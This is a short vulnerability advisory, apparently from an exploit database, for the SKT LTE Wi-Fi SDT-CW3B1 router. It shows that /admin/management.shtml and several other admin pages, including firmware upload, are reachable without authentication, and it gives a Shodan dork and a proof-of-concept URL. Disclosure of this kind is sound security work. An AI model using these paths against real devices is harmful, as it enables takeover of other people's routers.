# Exploit Title: SKT LTE Wi-Fi SDT-CW3B1 - Unauthorized Admin Credential Change
# Shodan Dork: SDT-CW3B1
# Date: 2018-05-23
# Exploit Author: Safak Aslan
# Vendor Homepage: http://telesquare.co.kr/
# Version:  SKT CW3B1 sw version 1.2.0
# Tested on: Windows
# CVE: -
 
# Class: Unauthorized Admin Credential Change
# Impact:  The attacker can access, change and remove admin's credential and sensitive data of the device.
# Remotely Exploitable: Yes
# Authentication Required: No
 
# Vulnerability Description

/admin/management.shtml    -->   System Management access without authentication

# Using the directory of /admin/management.shtml, it is possible to access directly System Management without authentication. 
# The attacker has a right to change User ID, 
# Password for General User, User ID, and Password for Admin.

# Proof-of-Concept

http://targetIP/admin/management.shtml 


# Additional Info

Additionally, the attacker can reach without authorization the below directories.
/admin/upload_firmware.shtml (Router firmware and lte firmware upgrade)
/internet/wan.shtml (WAN settings info leak)
/index.html (Version and status info leak) 
/nas/ftpsrv.shtml (The settings of FTP)
/wifi2g/basic.shtml (The settings of Wireless)
/admin/status.shtml (The leak information of access point status)
/internet/lan.shtml  (The leak information of LAN settings)
/admin/statistic.shtml (System statistics info leak)
/serial/serial_direct.shtml (The settings of direct serial)
/admin/upload_firmware.shtml (Router Firmware and LTE Firmware upgrade)